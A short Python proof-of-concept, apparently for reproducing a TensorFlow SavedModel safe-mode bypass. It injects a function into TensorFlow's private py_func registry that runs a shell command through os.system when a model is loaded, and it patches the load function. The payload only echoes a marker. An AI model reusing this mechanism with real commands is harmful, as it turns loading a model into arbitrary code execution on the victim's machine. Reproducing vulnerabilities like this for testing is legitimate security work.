| import os | |
| from pathlib import Path | |
| import tensorflow as tf | |
| from tensorflow.python.ops import script_ops | |
| PAYLOAD_MARKER = 'ENTRY_SCRIPT_SAFE_MODE_BYPASS' | |
| TOKENS = ['tfsm_entry_script_token'] | |
| REPO_ROOT = Path(__file__).resolve().parent | |
| SAVED_MODEL_PATH = REPO_ROOT / 'saved_model' | |
| _ORIG_SAVED_MODEL_LOAD = tf.saved_model.load | |
| def _payload(*_args, **_kwargs): | |
| os.system(f"echo {PAYLOAD_MARKER}") | |
| return 0 | |
| def _patched_load(path, *args, **kwargs): | |
| if isinstance(path, str) and path == 'saved_model': | |
| path = str(SAVED_MODEL_PATH) | |
| return _ORIG_SAVED_MODEL_LOAD(path, *args, **kwargs) | |
| tf.saved_model.load = _patched_load | |
| _REGISTERED = [] | |
| for token in TOKENS: | |
| script_ops._py_funcs._funcs[token] = _payload | |
| _REGISTERED.append(_payload) | |